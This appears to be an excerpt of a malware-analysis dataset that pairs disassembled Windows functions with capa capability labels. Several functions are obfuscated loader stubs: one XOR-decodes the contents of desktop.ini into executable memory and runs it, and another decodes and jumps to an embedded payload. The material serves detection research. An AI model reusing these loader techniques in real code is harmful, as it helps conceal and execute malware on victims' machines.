joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412e82
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00412d01

Function at 0x4171e6
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416b54

Function at 0x4171f1
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416d8f

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401c66
pop dword [ebp - 0x24]
mov eax, 0x9cf32f6f
add eax, 0x634cecf7
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x2e3c1755
add dword [ebp - 0x34], 0x20162df6
mov dword [ebp - 0x30], 0x4fee83fd
add dword [ebp - 0x30], 0xe244c848
mov dword [ebp - 0x2c], 0x7755b936
add dword [ebp - 0x2c], 0xd4f68af8
mov dword [ebp - 0x28], 0x1f6d0287
sub dword [ebp - 0x28], 0x1f6d0287
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x9f74157b
sub dword [ebp - 0x34], 0x2b01ac25
mov dword [ebp - 0x30], 0xfa6b0b9e
sub dword [ebp - 0x30], 0xb8feaa29
mov dword [ebp - 0x2c], 0xa865cfdf
sub dword [ebp - 0x2c], 0x44f66373
mov dword [ebp - 0x28], 0xd24673fa
sub dword [ebp - 0x28], 0xd24673fa
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x8d6c6fca
sub eax, 0x8d2c3f9e
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x379de
push 0
call eax
mov ecx, 0x6166fb19
sub ecx, 0x6166ae8e
xor esi, esi
add esi, eax
mov edi, 0x656cae97
add edi, 0x9ad3c169
add edi, dword [ebp - 0x24]
mov ebx, 0xb0f85c1c
sub ebx, 0xb7e8f2af
sub dword [ebp - 0x10], eax
mov edx, dword [edi]
add dword [ebp - 4], edi
sub edx, ebx
xor dword [ebp - 4], 0x53b638ba
mov dword [esi], edx
add dword [ebp - 0x10], eax
add esi, 0xc02ea476
sub esi, 0xc02ea472
add edi, 0x94abcb85
sub edi, 0x94abcb81
loop 0x401d85
add eax, 0x55fa05ea
sub eax, 0x55f8e0eb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x408af0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
xor eax, eax
jne 0x408af9
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
shl edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x408b3c
mov eax, dword [ebp - 8]
jmp 0x408ba2
cmp dword [ebp - 0xc], 1
je 0x408b4f
cmp dword [ebp - 0xc], 2
je 0x408b4f
mov eax, 0xd
jmp 0x408ba2
cmp dword [ebp + 0xc], 0
je 0x408b96
cmp dword [ebp - 4], 0
je 0x408b85
mov eax, dword [ebp - 4]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jne 0x408b7c
mov edx, dword [ebp - 4]
shr edx, 1
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax + edx*2 - 2]
test ecx, ecx
je 0x408b83
mov eax, 0xd
jmp 0x408ba2
jmp 0x408b96
mov edx, 2
imul eax, edx, 0
xor ecx, ecx
mov edx, dword [ebp + 0xc]
mov word [edx + eax], cx
mov eax, dword [ebp - 4]
shr eax, 1
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc

Function at 0x408d50
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x408db5
push 0x5abcf0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x408d7c
mov eax, 1
jmp 0x408dd3
push str.RegDeleteKeyTransactedW
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x408db3
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x10], edx
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x10]
jmp 0x408dd3
jmp 0x408dce
mov ecx, dword [ebp - 4]
cmp dword [ecx + 4], 0
je 0x408dce
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x408dd3
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x40c8b0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x598e08
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x6041c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
call fcn.004260c0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0x1c
call fcn.00402220
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
add ecx, 0x20
call fcn.00402220
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x10]
add ecx, 0x24
call fcn.00402220
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x10]
add ecx, 0x30
call fcn.00402220
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x10]
add ecx, 0x34
call fcn.00402220
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x10]
add ecx, 0x38
call fcn.00402220
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x10]
add ecx, 0x3c
call fcn.00402220
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x10]
add ecx, 0x40
call fcn.00402220
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x10]
add ecx, 0x44
call fcn.00402220
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x10]
add ecx, 0x48
call fcn.00402220
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x10]
add ecx, 0x4c
call fcn.00402220
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x10]
add ecx, 0x50
call fcn.00402220
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x10]
add ecx, 0x54
call fcn.00402220
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x10]
add ecx, 0x64
call fcn.0040ceb0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x10]
add ecx, 0x78
call fcn.00411230
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x10]
add ecx, 0x98
call fcn.00411350
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x1c]
push eax
call fcn.0040fd70
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], ecx
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x18]
push edx
mov ecx, dword [ebp - 0x10]
call fcn.004025b0
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1c]
call fcn.004023e0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0xc], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x2c], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x60], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x5c], 0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x58], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x18], 0
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x14], 0
push str._n_ignoreFailure_:__false__n_uiDisabled__:_false__n_uiHidden__:_false__n_uiUnSelected__:_false_n
mov ecx, dword [ebp - 0x10]
add ecx, 8
call fcn.00402590
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x416050
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59966d
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x6041c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x10]
call fcn.00402220
mov dword [ebp - 4], 0
push 0x104
push 0x104
lea ecx, [ebp - 0x10]
call fcn.00405a80
push eax
push 0x5ad898
call fcn.0056c59c
mov dword [ebp - 0x14], eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call fcn.00408ec0
cmp dword [ebp - 0x14], 0
je 0x4160fb
push 0x11e
push 0x5ad8a0
lea ecx, [ebp - 0x24]
call fcn.00402040
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x20]
call fcn.00402790
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.004348f0
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.004023e0
lea ecx, [ebp - 0x10]
call fcn.00402790
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea ecx, [ebp - 0x10]
call fcn.00402790
push eax
call fcn.0056ca98
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x416163
push 0x123
push str.D:_apreltechSibSiblSiblEnvTools.cpp
lea ecx, [ebp - 0x30]
call fcn.00402040
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], edx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x2c]
call fcn.00402790
push eax
mov eax, dword [ebp - 0x14]
push eax
call fcn.004348f0
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.004023e0
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00401fd0
mov edx, dword [ebp - 0x18]
or edx, 1
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.004023e0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x417da0
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x6041c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], 0xffffffff
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x38], 6
mov edx, dword [ebp + 0xc]
push edx
push 0x5adba0
push 0x10
lea eax, [ebp - 0x14]
push eax
call fcn.00418930
add esp, 0x10
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x417e2f
call fcn.0057df1e
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x18], edx
jmp 0x417e40
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
je 0x417eb1
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x417e76
call fcn.005736a2
mov edx, dword [eax]
mov dword [ebp - 0x20], edx
jmp 0x417eb1
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0x18]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x417e94
jmp 0x417eb1
call fcn.005736a2
mov edx, dword [eax]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0x1c], 0xffffffff
jmp 0x417e37
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x417ec6
call fcn.0057df1e
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0056b18c
mov esp, ebp
pop ebp
ret
Function at 0x418250
Capabilities:
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x599828
mov eax, dword fs:[0]
push eax
sub esp, 0x1ac
mov eax, dword [0x6041c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x1b8], 0
lea ecx, [ebp - 0x1a4]
call fcn.00402220
mov byte [ebp - 4], 1
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4182d4
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1a4]
call fcn.004023e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004023e0
jmp 0x4183ad
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1b0], ecx
lea ecx, [ebp + 8]
call fcn.00405ba0
mov dword [ebp - 0x1b4], eax
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
push str.POST__collect_HTTP_1.1_r_nContent_Type:_application_x_www_form_urlencoded_r_nHost:_www.google_analytics.com_r_nContent_Length:__d_r_n_r_n_s
lea ecx, [ebp - 0x1a4]
push ecx
call fcn.0040f540
add esp, 0x10
lea ecx, [ebp - 0x1a4]
call fcn.00405ba0
mov dword [ebp - 0x1ac], eax
push 0x50
push str.www.google_analytics.com
call fcn.00417da0
add esp, 8
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0xffffffff
je 0x418366
push 0
mov edx, dword [ebp - 0x1ac]
push edx
lea ecx, [ebp - 0x1a4]
call fcn.00418180
push eax
mov eax, dword [ebp - 0x1a8]
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, dword [ebp - 0x1ac]
je 0x418372
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x1b8], eax
mov ecx, dword [ebp - 0x1a8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0x1a8], 0xffffffff
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1a4]
call fcn.004023e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004023e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0056b18c
mov esp, ebp
pop ebp
ret

Function at 0x4183d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59986d
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x6041c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00405ba0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 1
push eax
call fcn.004380cc
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
lea ecx, [ebp + 8]
call fcn.00405ba0
push eax
lea ecx, [ebp + 8]
call fcn.00418180
push eax
mov edx, dword [ebp - 0x10]
push edx
call fcn.0056fc40
add esp, 0xc
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x14]
mov byte [eax], 0
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
push 0x418480
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004023e0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x418990
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 8]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov esp, ebp
pop ebp
ret
Function at 0x433020
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59ac35
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x6041c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x24]
call fcn.004154e0
mov dword [ebp - 4], 0
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x34]
call fcn.004305e0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x24]
call fcn.00426db0
xor edx, edx
mov byte [ebp - 0xd], dl
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0xd]
call fcn.004312d0
push eax
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x34]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00430f40
mov edx, dword [ebp - 0x14]
or edx, 1
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.00426a90
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x4337b0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59ad1d
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x6041c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00433130
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x433816
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004023e0
mov eax, dword [ebp - 0x28]
jmp 0x433988
lea ecx, [ebp + 0xc]
call fcn.00407360
movzx ecx, al
test ecx, ecx
je 0x433868
push 0xffffffffffffffff
push 0
push 0xb1
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0x303
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004023e0
mov eax, dword [ebp - 0x2c]
jmp 0x433988
lea ecx, [ebp + 0xc]
call fcn.00405ba0
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0xd], 0
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x43394e
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, dword [ebp - 0x1c]
lea eax, [edx + edx + 2]
push eax
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4338fb
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x1c]
shl edx, 1
push edx
lea ecx, [ebp + 0xc]
call fcn.00405a40
push eax
mov eax, dword [ebp - 0x20]
push eax
call fcn.0056fc40
add esp, 0xc
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov edx, dword [ebp - 0x18]
push edx
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
je 0x4338fb
mov byte [ebp - 0xd], 1
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0xffffffffffffffff
push 0
push 0xb1
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0x303
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 0
push 0x302
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call dword [sym.imp.USER32.dll_CloseClipboard]
movzx eax, byte [ebp - 0xd]
test eax, eax
jne 0x433970
lea ecx, [ebp + 0xc]
call fcn.00405a40
push eax
push 0x103
push 0xc
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x30], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004023e0
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x437890
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59b35d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x6041c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
push 0
call fcn.00437030
push eax
mov ecx, 0x608bb4
call fcn.00402650
mov dword [0x608b90], 1
mov dword [0x608b8c], 0
push 0x5b0280
lea eax, [ebp + 8]
push eax
call fcn.004115b0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x437904
mov dword [0x608b94], 1
call fcn.00437ce0
movzx edx, al
test edx, edx
jne 0x437924
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004023e0
jmp 0x437a1b
cmp dword [0x608c20], 0
je 0x437945
push ecx
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0x5b0288
call fcn.00401f50
call fcn.00437bc0
add esp, 4
push 0
push 0
push 0x436730
call fcn.005808b2
add esp, 0xc
mov dword [ebp - 0x10], eax
push 0xffffffffffffffff
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x608c20], 0
je 0x4379ea
cmp dword [0x608b98], 0
je 0x4379ea
push 0x96
lea edx, [ebp - 0x20]
push edx
mov ecx, 0x608bb0
call fcn.004093f0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1c]
call fcn.00402790
push eax
lea ecx, [ebp - 0x14]
call fcn.0040c650
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x20]
call fcn.004023e0
push ecx
mov ecx, esp
mov dword [ebp - 0x28], esp
lea edx, [ebp - 0x14]
push edx
push 0x5b028c
push ecx
